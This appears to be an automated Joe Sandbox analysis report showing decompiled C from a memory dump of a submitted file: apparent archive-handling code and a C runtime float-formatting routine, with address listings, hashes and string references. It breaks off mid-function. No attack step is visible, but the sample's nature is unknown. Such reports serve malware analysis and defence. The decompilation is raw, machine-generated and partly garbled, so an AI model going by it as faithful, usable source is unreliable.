				_t556 =  *((intOrPtr*)(_t394 + 0x6ca4));
				if(_t556 < 0 || _t556 <= 0 &&  *((intOrPtr*)(_t394 + 0x6ca0)) <= _t498) {
					goto L15;
				} else {
					_push(0x10);
					_push(_t544 + 0x18);
					 *((char*)(_t544 + 0x6a)) = 1;
					if( *((intOrPtr*)( *_t394 + 0xc))() != 0x10) {
						goto L17;
					}
					if( *((char*)( *((intOrPtr*)(_t394 + 0x21bc)) + 0x5124)) != 0) {
						L7:
						 *(_t544 + 0x6b) = 1;
						L8:
						E013A3D2A(_t394);
						_t529 = _t394 + 0x2264;
						_t543 = _t394 + 0x1024;
						E013A6182(_t543, 0, 5,  *((intOrPtr*)(_t394 + 0x21bc)) + 0x5024, _t394 + 0x2264, _t544 + 0x18,  *(_t394 + 0x2260), 0, _t544 + 0x28);
						if( *(_t394 + 0x225c) == 0) {
							L13:
							 *((intOrPtr*)(_t544 + 0x50)) = _t543;
							goto L16;
						} else {
							_t378 = _t394 + 0x2274;
							while(1) {
								_t380 = E013BE8EC(_t544 + 0x28, _t378, 8);
								_t546 = _t546 + 0xc;
								if(_t380 == 0) {
									goto L13;
								}
								_t563 =  *(_t544 + 0x6b);
								_push(_t394 + 0x1e);
								if( *(_t544 + 0x6b) != 0) {
									_push(6);
									E013A135C(__eflags);
									 *((char*)(_t394 + 0x6cc5)) = 1;
									E013A6E8B(0x13dcbe8, 0xb);
									goto L86;
								}
								_push(0x7c);
								E013A135C(_t563);
								E013ADEB9( *((intOrPtr*)(_t394 + 0x21bc)) + 0x5024);
								E013A3D2A(_t394);
								E013A6182(_t543, 0, 5,  *((intOrPtr*)(_t394 + 0x21bc)) + 0x5024, _t529, _t544 + 0x18,  *(_t394 + 0x2260), 0, _t544 + 0x28);
								_t378 = _t394 + 0x2274;
								if( *(_t394 + 0x225c) != 0) {
									continue;
								}
								goto L13;
							}
							goto L13;
						}
					}
					_t392 = E013B06B3();
					 *(_t544 + 0x6b) = 0;
					if(_t392 == 0) {
						goto L8;
					}
					goto L7;
				}
			}

0x013a31f0
0x013a31f1
0x013a31f9
0x013a3203
0x013a320a
0x013a3211
0x013a3218
0x013a321b
0x013a3224
0x013a336c
0x013a336c
0x013a336f
0x013a3374
0x013a3379
0x013a337c
0x013a338d
0x013a3394
0x013a33a4
0x013a33ae
0x013a33b0
0x013a33b7
0x013a33b9
0x013a39e9
0x013a39eb
0x013a39f0
0x013a39f3
0x013a3a01
0x013a3a0c
0x013a3a0c
0x013a33bf
0x013a33c1
0x00000000
0x00000000
0x013a33c7
0x013a33cd
0x013a33cf
0x013a33cf
0x013a33d1
0x013a33d4
0x00000000
0x00000000
0x013a33da
0x013a33dd
0x00000000
0x00000000
0x013a33e7
0x013a33ec
0x013a33ef
0x00000000
0x00000000
0x013a33f4
0x013a3406
0x013a340c
0x013a3411
0x013a341c
0x013a341e
0x013a3427
0x013a342d
0x013a3433
0x013a3439
0x013a343c
0x013a343f
0x013a3441
0x013a347b
0x013a347b
0x013a347d
0x013a3484
0x013a3487
0x013a348a
0x013a34b4
0x013a34b4
0x013a34bb
0x013a34bd
0x013a34c0
0x013a34c3
0x013a34c8
0x013a34cd
0x013a34cf
0x013a34d2
0x013a34d2
0x013a34dd
0x013a34ea
0x013a34f9
0x013a3502
0x013a350a
0x013a3511
0x013a3517
0x013a3519
0x013a392a
0x013a3939
0x013a393a
0x013a3944
0x013a394d
0x013a395a
0x013a3969
0x013a3974
0x013a3977
0x013a397d
0x013a3983
0x013a3985
0x013a398b
0x013a398e
0x013a39a5
0x013a3990
0x013a3998
0x013a39a0
0x013a39a2
0x013a39a2
0x013a39ab
0x013a39b2
0x013a39bc
0x013a39bc
0x00000000
0x013a39b4
0x013a39b4
0x013a39ba
0x013a39be
0x013a39be
0x013a39c4
0x013a39c9
0x013a39cc
0x013a39dc
0x013a39dc
0x013a39e1
0x013a39e4
0x00000000
0x013a39e4
0x00000000
0x013a39ba
0x013a39b2
0x013a351f
0x00000000
0x00000000
0x013a3525
0x013a3528
0x013a366a
0x013a3672
0x013a3681
0x013a3685
0x013a3688
0x013a368f
0x013a3696
0x013a36a1
0x013a36a4
0x013a36aa
0x013a36b3
0x013a36ba
0x013a36c8
0x013a36d3
0x013a36e2
0x013a36e2
0x013a36e4
0x013a36ea
0x013a36f0
0x013a36f7
0x013a36fd
0x013a36fd
0x013a3703
0x013a3709
0x013a370f
0x013a3715
0x013a371b
0x013a371d
0x013a3725
0x013a3725
0x013a3727
0x00000000
0x013a371f
0x013a371f
0x013a3729
0x013a3729
0x013a3732
0x013a3738
0x013a373d
0x013a3744
0x013a3747
0x013a375a
0x013a375a
0x013a375f
0x013a3766
0x013a376d
0x013a3772
0x013a3781
0x013a3781
0x013a3787
0x013a3791
0x013a3798
0x013a37a1
0x013a37a9
0x013a37ac
0x013a37af
0x013a37b2
0x013a37b4
0x013a37b4
0x013a37c6
0x013a37da
0x013a37dc
0x013a37e6
0x013a37eb
0x013a37f1
0x013a37f3
0x013a37fd
0x013a37ff
0x013a3801
0x013a3801
0x013a3801
0x013a3801
0x013a37f5
0x013a37f5
0x013a37f5
0x013a3808
0x013a3812
0x013a3824
0x013a382a
0x013a382e
0x013a3831
0x013a3837
0x013a3842
0x013a3842
0x013a3842
0x00000000
0x013a3839
0x013a3839
0x013a383c
0x00000000
0x00000000
0x013a383e
0x013a3844
0x013a3844
0x013a3850
0x013a3855
0x013a386a
0x013a3870
0x013a387f
0x013a3884
0x013a388f
0x013a3891
0x013a3893
0x013a3893
0x013a38a0
0x013a38a5
0x013a38b3
0x013a38b8
0x013a38bb
0x013a38bc
0x013a38bd
0x013a38c2
0x013a38c7
0x013a38ca
0x013a38d4
0x013a38d4
0x013a38d9
0x013a38dc
0x013a38df
0x013a38f1
0x013a38f7
0x013a38fe
0x013a3900
0x013a3902
0x013a3902
0x00000000
0x013a38e1
0x013a38e4
0x013a38e9
0x013a38ec
0x013a38ef
0x013a3909
0x013a3909
0x013a390d
0x013a391a
0x013a391a
0x00000000
0x013a390d
0x00000000
0x013a38ef
0x013a38df
0x013a3837
0x013a3721
0x013a3723
0x00000000
0x00000000
0x00000000
0x013a3723
0x013a371d
0x013a352e
0x013a3531
0x013a3572
0x013a357f
0x013a3584
0x013a3589
0x013a358b
0x013a35c2
0x013a35cd
0x013a35d0
0x013a35d6
0x013a35d9
0x013a35ef
0x013a35f4
0x013a35fb
0x013a3609
0x013a3617
0x013a3620
0x013a362c
0x013a3634
0x013a3639
0x013a3648
0x013a3652
0x013a3654
0x013a3654
0x013a3656
0x013a3656
0x013a365c
0x00000000
0x013a365c
0x013a35db
0x013a35dc
0x013a3593
0x013a3596
0x013a3598
0x013a3599
0x013a35ab
0x00000000
0x013a35ab
0x013a358d
0x013a358e
0x00000000
0x013a358e
0x013a3533
0x013a3536
0x013a353d
0x013a354a
0x013a3556
0x013a355e
0x013a3565
0x013a3565
0x00000000
0x013a3536
0x013a3494
0x013a3496
0x013a3499
0x013a349b
0x013a349e
0x013a34a0
0x00000000
0x00000000
0x013a34a2
0x00000000
0x00000000
0x013a34a8
0x013a34ae
0x00000000
0x00000000
0x00000000
0x013a34ae
0x013a3445
0x013a3451
0x013a3458
0x013a345d
0x013a3461
0x00000000
0x013a3463
0x013a346a
0x013a346f
0x00000000
0x013a346f
0x013a3461
0x013a337e
0x013a3380
0x00000000
0x013a3380
0x013a3232
0x013a3235
0x013a3237
0x013a323d
0x00000000
0x013a3251
0x013a3256
0x013a3258
0x013a325b
0x013a3265
0x00000000
0x00000000
0x013a3278
0x013a3287
0x013a3287
0x013a328b
0x013a328d
0x013a32a9
0x013a32b5
0x013a32c1
0x013a32cd
0x013a3348
0x013a3348
0x00000000
0x013a32cf
0x013a32cf
0x013a32d5
0x013a32dc
0x013a32e1
0x013a32e6
0x00000000
0x00000000
0x013a32e8
0x013a32ef
0x013a32f0
0x013a334d
0x013a334f
0x013a335b
0x013a3362
0x00000000
0x013a3362
0x013a32f2
0x013a32f4
0x013a3305
0x013a330c
0x013a3334
0x013a3340
0x013a3346
0x00000000
0x00000000
0x00000000
0x013a3346
0x00000000
0x013a32d5
0x013a32cd
0x013a327a
0x013a327f
0x013a3285
0x00000000
0x00000000
0x00000000
0x013a3285

APIs

__EH_prolog.LIBCMT ref: 013A31F9
_memcmp.LIBVCRUNTIME ref: 013A32DC

Strings

hc%u, xrefs: 013A35DC
CMT, xrefs: 013A38F1
h%u, xrefs: 013A358E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: 9e16c894a0190229b70106f0fbd1c5110b01dd9f41031e41ea7bd1181c6a2df4
Instruction ID: 41a6fec650ab90ee78dd01255913f5e5c4a3b4342207f61c7331f2893d24c797
Opcode Fuzzy Hash: 9e16c894a0190229b70106f0fbd1c5110b01dd9f41031e41ea7bd1181c6a2df4
Instruction Fuzzy Hash: D732A3715143899FDF14DF78C895AEA3BA5FF25308F88047DED8A8B282DB749548CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013CA350 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 67%

			E013CA350(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v32;
				signed int _v36;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t743;
				signed int _t753;
				signed int _t754;
				intOrPtr _t763;
				signed int _t764;
				intOrPtr _t767;
				intOrPtr _t770;
				intOrPtr _t772;
				intOrPtr _t773;
				void* _t774;
				signed int _t778;
				signed int _t779;
				signed int _t785;
				signed int _t791;
				intOrPtr _t793;
				void* _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t806;
				signed int _t811;
				signed int _t812;
				signed int _t813;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t828;
				signed int _t829;
				signed int _t835;
				signed int _t836;
				signed int _t839;
				signed int _t844;
				signed int _t852;
				signed int* _t855;
				signed int _t859;
				signed int _t870;
				signed int _t871;
				signed int _t873;
				char* _t874;
				signed int _t877;
				signed int _t881;
				signed int _t882;
				signed int _t887;
				signed int _t889;
				signed int _t894;
				signed int _t903;
				signed int _t906;
				signed int _t908;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t916;
				signed int _t929;
				signed int _t930;
				signed int _t932;
				char* _t933;
				signed int _t936;
				signed int _t940;
				signed int _t941;
				signed int* _t943;
				signed int _t946;
				signed int _t948;
				signed int _t953;
				signed int _t961;
				signed int _t964;
				signed int _t968;
				signed int* _t975;
				intOrPtr _t977;
				void* _t978;
				intOrPtr* _t980;
				signed int* _t984;
				unsigned int _t995;
				signed int _t996;
				void* _t999;
				signed int _t1000;
				void* _t1002;
				signed int _t1003;
				signed int _t1004;
				signed int _t1005;
				signed int _t1015;
				signed int _t1020;
				signed int _t1023;
				unsigned int _t1026;
				signed int _t1027;
				void* _t1030;
				signed int _t1031;
				void* _t1033;
				signed int _t1034;
				signed int _t1035;
				signed int _t1036;
				signed int _t1041;
				signed int* _t1046;
				signed int _t1048;
				signed int _t1058;
				void _t1061;
				signed int _t1064;
				void* _t1067;
				void* _t1074;
				signed int _t1080;
				signed int _t1081;
				signed int _t1084;
				signed int _t1085;
				signed int _t1087;
				signed int _t1088;
				signed int _t1089;
				signed int _t1093;
				signed int _t1097;
				signed int _t1098;
				signed int _t1099;
				signed int _t1101;
				signed int _t1102;
				signed int _t1103;
				signed int _t1104;
				signed int _t1105;
				signed int _t1106;
				signed int _t1108;
				signed int _t1109;
				signed int _t1110;
				signed int _t1111;
				signed int _t1112;
				signed int _t1113;
				unsigned int _t1114;
				void* _t1117;
				intOrPtr _t1119;
				signed int _t1120;
				signed int _t1121;
				signed int _t1122;
				signed int* _t1126;
				void* _t1130;
				void* _t1131;
				signed int _t1132;
				signed int _t1133;
				signed int _t1134;
				signed int _t1137;
				signed int _t1138;
				signed int _t1143;
				void* _t1145;
				signed int _t1146;
				signed int _t1149;
				char _t1154;
				signed int _t1156;
				signed int _t1157;
				signed int _t1158;
				signed int _t1159;
				signed int _t1160;
				signed int _t1161;
				signed int _t1162;
				signed int _t1166;
				signed int _t1167;
				signed int _t1168;
				signed int _t1169;
				signed int _t1170;
				unsigned int _t1173;
				void* _t1177;
				void* _t1178;
				unsigned int _t1179;
				signed int _t1184;
				signed int _t1185;
				signed int _t1187;
				signed int _t1188;
				intOrPtr* _t1190;
				signed int _t1191;
				signed int _t1193;
				signed int _t1194;
				signed int _t1197;
				signed int _t1199;
				signed int _t1200;
				void* _t1201;
				signed int _t1202;
				signed int _t1203;
				signed int _t1204;
				void* _t1207;
				signed int _t1208;
				signed int _t1209;
				signed int _t1210;
				signed int _t1211;
				signed int _t1212;
				signed int* _t1215;
				signed int _t1216;
				signed int _t1217;
				signed int _t1218;
				signed int _t1219;
				intOrPtr* _t1221;
				intOrPtr* _t1222;
				signed int _t1224;
				signed int _t1226;
				signed int _t1229;
				signed int _t1235;
				signed int _t1239;
				signed int _t1240;
				signed int _t1245;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1266;
				signed int _t1267;
				signed int _t1269;
				signed int _t1271;
				signed int _t1273;
				signed int _t1276;
				signed int _t1278;
				signed int* _t1279;
				signed int* _t1282;
				signed int _t1291;

				_t1145 = __edx;
				_t1276 = _t1278;
				_t1279 = _t1278 - 0x964;
				_t743 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t743 ^ _t1276;
				_t1058 = _a20;
				_push(__esi);
				_push(__edi);
				_t1190 = _a16;
				_v1924 = _t1190;
				_v1920 = _t1058;
				E013C9E72( &_v1944, __eflags);
				_t1239 = _a8;
				_t748 = 0x2d;
				if((_t1239 & 0x80000000) == 0) {
					_t748 = 0x120;
				}
				 *_t1190 = _t748;
				 *((intOrPtr*)(_t1190 + 8)) = _t1058;
				_t1191 = _a4;
				if((_t1239 & 0x7ff00000) != 0) {
					L5:
					_t753 = E013C64B7( &_a4);
					_pop(_t1073);
					__eflags = _t753;
					if(_t753 != 0) {
						_t1073 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t754 = _t753 - 1;
					__eflags = _t754;
					if(_t754 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t778 = _t754 - 1;
						__eflags = _t778;
						if(_t778 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t779 = _t778 - 1;
							__eflags = _t779;
							if(_t779 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t779 == 1;
								if(_t779 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1191;
									_a8 = _t1239 & 0x7fffffff;
									_t1291 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1193 = _v1896;
									_v1916 = _a12 + 1;
									_t1080 = _t1193 >> 0x14;
									_t785 = _t1080 & 0x000007ff;
									__eflags = _t785;
									if(_t785 != 0) {
										_t1146 = 0;
										_t785 = 0;
										__eflags = 0;
									} else {
										_t1146 = 1;
									}
									_t1194 = _t1193 & 0x000fffff;
									_t1061 = _v1900 + _t785;
									asm("adc edi, esi");
									__eflags = _t1146;
									_t1081 = _t1080 & 0x000007ff;
									_t1245 = _t1081 - 0x434 + (0 | _t1146 != 0x00000000) + 1;
									_v1872 = _t1245;
									E013CC340(_t1081, _t1291);
									_push(_t1081);
									_push(_t1081);
									 *_t1279 = _t1291;
									_t791 = E013CF190(E013CC450(_t1194, _t1245), _t1291);
									_v1904 = _t791;
									__eflags = _t791 - 0x7fffffff;
									if(_t791 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t791 - 0x80000000;
										if(_t791 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1061;
									__eflags = _t1194;
									_v464 = _t1194;
									_t1064 = (0 | _t1194 != 0x00000000) + 1;
									_v472 = _t1064;
									__eflags = _t1245;
									if(_t1245 < 0) {
										__eflags = _t1245 - 0xfffffc02;
										if(_t1245 == 0xfffffc02) {
											L101:
											_t793 =  *((intOrPtr*)(_t1276 + _t1064 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1084 = 0;
												__eflags = 0;
											} else {
												_t1084 = _t793 + 1;
											}
											_t794 = 0x20;
											_t795 = _t794 - _t1084;
											__eflags = _t795 - 1;
											_t796 = _t795 & 0xffffff00 | _t795 - 0x00000001 > 0x00000000;
											__eflags = _t1064 - 0x73;
											_v1865 = _t796;
											_t1085 = _t1084 & 0xffffff00 | _t1064 - 0x00000073 > 0x00000000;
											__eflags = _t1064 - 0x73;
											if(_t1064 != 0x73) {
												L107:
												_t797 = 0;
												__eflags = 0;
											} else {
												__eflags = _t796;
												if(_t796 == 0) {
													goto L107;
												} else {
													_t797 = 1;
												}
											}
											__eflags = _t1085;
											if(_t1085 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E013C87FA( &_v468, 0x1cc,  &_v1396, 0);
												_t1279 =  &(_t1279[4]);
											} else {
												__eflags = _t797;
												if(_t797 != 0) {
													goto L126;
												} else {
													_t1112 = 0x72;
													__eflags = _t1064 - _t1112;
													if(_t1064 < _t1112) {
														_t1112 = _t1064;
													}
													__eflags = _t1112 - 0xffffffff;
													if(_t1112 != 0xffffffff) {
														_t1263 = _t1112;
														_t1221 =  &_v468 + _t1112 * 4;
														_v1880 = _t1221;
														while(1) {
															__eflags = _t1263 - _t1064;
															if(_t1263 >= _t1064) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1221;
															}
															_t210 = _t1263 - 1; // 0x70
															__eflags = _t210 - _t1064;
															if(_t210 >= _t1064) {
																_t1173 = 0;
																__eflags = 0;
															} else {
																_t1173 =  *(_t1221 - 4);
															}
															_t1221 = _t1221 - 4;
															_t975 = _v1880;
															_t1263 = _t1263 - 1;
															 *_t975 = _t1173 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t975 - 4;
															__eflags = _t1263 - 0xffffffff;
															if(_t1263 == 0xffffffff) {
																break;
															}
															_t1064 = _v472;
														}
														_t1245 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1112;
													} else {
														_t218 = _t1112 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1197 = 1 - _t1245;
											E013BDE40(_t1197,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1276 + 0xbad63d) = 1 << (_t1197 & 0x0000001f);
											_t806 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1113 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1113;
											__eflags = _t1064 - _t1113;
											if(_t1064 == _t1113) {
												_t1177 = 0;
												__eflags = 0;
												while(1) {
													_t977 =  *((intOrPtr*)(_t1276 + _t1177 - 0x570));
													__eflags = _t977 -  *((intOrPtr*)(_t1276 + _t1177 - 0x1d0));
													if(_t977 !=  *((intOrPtr*)(_t1276 + _t1177 - 0x1d0))) {
														goto L101;
													}
													_t1177 = _t1177 + 4;
													__eflags = _t1177 - 8;
													if(_t1177 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1178 = 0;
															__eflags = 0;
														} else {
															_t1178 = _t977 + 1;
														}
														_t978 = 0x20;
														_t1264 = _t1113;
														__eflags = _t978 - _t1178 - _t1113;
														_t980 =  &_v460;
														_v1880 = _t980;
														_t1222 = _t980;
														_t171 =  &_v1865;
														 *_t171 = _t978 - _t1178 - _t1113 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1264 - _t1064;
															if(_t1264 >= _t1064) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1222;
															}
															_t175 = _t1264 - 1; // 0x0
															__eflags = _t175 - _t1064;
															if(_t175 >= _t1064) {
																_t1179 = 0;
																__eflags = 0;
															} else {
																_t1179 =  *(_t1222 - 4);
															}
															_t1222 = _t1222 - 4;
															_t984 = _v1880;
															_t1264 = _t1264 - 1;
															 *_t984 = _t1179 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t984 - 4;
															__eflags = _t1264 - 0xffffffff;
															if(_t1264 == 0xffffffff) {
																break;
															}
															_t1064 = _v472;
														}
														__eflags = _v1865;
														_t1114 = _t1113 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1113;
														_t1224 = _t1114 >> 5;
														_v1884 = _t1114;
														_t1266 = _t1224 << 2;
														E013BDE40(_t1224,  &_v1396, 0, _t1266);
														 *(_t1276 + _t1266 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t806 = _t1224 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t806;
										_t1067 = 0x1cc;
										_v936 = _t806;
										__eflags = _t806 << 2;
										E013C87FA( &_v932, 0x1cc,  &_v1396, _t806 << 2);
										_t1282 =  &(_t1279[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1267 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1267;
										__eflags = _t1064 - _t1267;
										if(_t1064 != _t1267) {
											L53:
											_t995 = _v1872 + 1;
											_t996 = _t995 & 0x0000001f;
											_t1117 = 0x20;
											_v1876 = _t996;
											_t1226 = _t995 >> 5;
											_v1872 = _t1226;
											_v1908 = _t1117 - _t996;
											_t999 = E013BD300(1, _t1117 - _t996, 0);
											_t1119 =  *((intOrPtr*)(_t1276 + _t1064 * 4 - 0x1d4));
											_t1000 = _t999 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t1000;
											_v1912 =  !_t1000;
											if( *_t108 == 0) {
												_t1120 = 0;
												__eflags = 0;
											} else {
												_t1120 = _t1119 + 1;
											}
											_t1002 = 0x20;
											_t1003 = _t1002 - _t1120;
											_t1184 = _t1064 + _t1226;
											__eflags = _v1876 - _t1003;
											_v1892 = _t1184;
											_t1004 = _t1003 & 0xffffff00 | _v1876 - _t1003 > 0x00000000;
											__eflags = _t1184 - 0x73;
											_v1865 = _t1004;
											_t1121 = _t1120 & 0xffffff00 | _t1184 - 0x00000073 > 0x00000000;
											__eflags = _t1184 - 0x73;
											if(_t1184 != 0x73) {
												L59:
												_t1005 = 0;
												__eflags = 0;
											} else {
												__eflags = _t1004;
												if(_t1004 == 0) {
													goto L59;
												} else {
													_t1005 = 1;
												}
											}
											__eflags = _t1121;
											if(_t1121 != 0) {
												L81:
												__eflags = 0;
												_t1067 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E013C87FA( &_v468, 0x1cc,  &_v1396, 0);
												_t1279 =  &(_t1279[4]);
											} else {
												__eflags = _t1005;
												if(_t1005 != 0) {
													goto L81;
												} else {
													_t1122 = 0x72;
													__eflags = _t1184 - _t1122;
													if(_t1184 >= _t1122) {
														_t1184 = _t1122;
														_v1892 = _t1122;
													}
													_t1015 = _t1184;
													_v1880 = _t1015;
													__eflags = _t1184 - 0xffffffff;
													if(_t1184 != 0xffffffff) {
														_t1185 = _v1872;
														_t1269 = _t1184 - _t1185;
														__eflags = _t1269;
														_t1126 =  &_v468 + _t1269 * 4;
														_v1888 = _t1126;
														while(1) {
															__eflags = _t1015 - _t1185;
															if(_t1015 < _t1185) {
																break;
															}
															__eflags = _t1269 - _t1064;
															if(_t1269 >= _t1064) {
																_t1229 = 0;
																__eflags = 0;
															} else {
																_t1229 =  *_t1126;
															}
															__eflags = _t1269 - 1 - _t1064;
															if(_t1269 - 1 >= _t1064) {
																_t1020 = 0;
																__eflags = 0;
															} else {
																_t1020 =  *(_t1126 - 4);
															}
															_t1023 = _v1880;
															_t1126 = _v1888 - 4;
															_v1888 = _t1126;
															 *(_t1276 + _t1023 * 4 - 0x1d0) = (_t1229 & _v1884) << _v1876 | (_t1020 & _v1912) >> _v1908;
															_t1015 = _t1023 - 1;
															_t1269 = _t1269 - 1;
															_v1880 = _t1015;
															__eflags = _t1015 - 0xffffffff;
															if(_t1015 != 0xffffffff) {
																_t1064 = _v472;
																continue;
															}
															break;
														}
														_t1184 = _v1892;
														_t1226 = _v1872;
														_t1267 = 2;
													}
													__eflags = _t1226;
													if(_t1226 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1226 << 2);
														_t1279 =  &(_t1279[3]);
													}
													__eflags = _v1865;
													_t1067 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1184;
													} else {
														_v472 = _t1184 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1267;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1130 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1276 + _t1130 - 0x570)) -  *((intOrPtr*)(_t1276 + _t1130 - 0x1d0));
												if( *((intOrPtr*)(_t1276 + _t1130 - 0x570)) !=  *((intOrPtr*)(_t1276 + _t1130 - 0x1d0))) {
													goto L53;
												}
												_t1130 = _t1130 + 4;
												__eflags = _t1130 - 8;
												if(_t1130 != 8) {
													continue;
												} else {
													_t1026 = _v1872 + 2;
													_t1027 = _t1026 & 0x0000001f;
													_t1131 = 0x20;
													_t1132 = _t1131 - _t1027;
													_v1888 = _t1027;
													_t1271 = _t1026 >> 5;
													_v1876 = _t1271;
													_v1908 = _t1132;
													_t1030 = E013BD300(1, _t1132, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1031 = _t1030 - 1;
													__eflags = _t1031;
													asm("bsr ecx, edi");
													_v1884 = _t1031;
													_v1912 =  !_t1031;
													if(_t1031 == 0) {
														_t1133 = 0;
														__eflags = 0;
													} else {
														_t1133 = _t1132 + 1;
													}
													_t1033 = 0x20;
													_t1034 = _t1033 - _t1133;
													_t1187 = _t1271 + 2;
													__eflags = _v1888 - _t1034;
													_v1880 = _t1187;
													_t1035 = _t1034 & 0xffffff00 | _v1888 - _t1034 > 0x00000000;
													__eflags = _t1187 - 0x73;
													_v1865 = _t1035;
													_t1134 = _t1133 & 0xffffff00 | _t1187 - 0x00000073 > 0x00000000;
													__eflags = _t1187 - 0x73;
													if(_t1187 != 0x73) {
														L28:
														_t1036 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1035;
														if(_t1035 == 0) {
															goto L28;
														} else {
															_t1036 = 1;
														}
													}
													__eflags = _t1134;
													if(_t1134 != 0) {
														L50:
														__eflags = 0;
														_t1067 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E013C87FA( &_v468, 0x1cc,  &_v1396, 0);
														_t1279 =  &(_t1279[4]);
													} else {
														__eflags = _t1036;
														if(_t1036 != 0) {
															goto L50;
														} else {
															_t1137 = 0x72;
															__eflags = _t1187 - _t1137;
															if(_t1187 >= _t1137) {
																_t1187 = _t1137;
																_v1880 = _t1137;
															}
															_t1138 = _t1187;
															_v1892 = _t1138;
															__eflags = _t1187 - 0xffffffff;
															if(_t1187 != 0xffffffff) {
																_t1188 = _v1876;
																_t1273 = _t1187 - _t1188;
																__eflags = _t1273;
																_t1046 =  &_v468 + _t1273 * 4;
																_v1872 = _t1046;
																while(1) {
																	__eflags = _t1138 - _t1188;
																	if(_t1138 < _t1188) {
																		break;
																	}
																	__eflags = _t1273 - _t1064;
																	if(_t1273 >= _t1064) {
																		_t1235 = 0;
																		__eflags = 0;
																	} else {
																		_t1235 =  *_t1046;
																	}
																	__eflags = _t1273 - 1 - _t1064;
																	if(_t1273 - 1 >= _t1064) {
																		_t1048 = 0;
																		__eflags = 0;
																	} else {
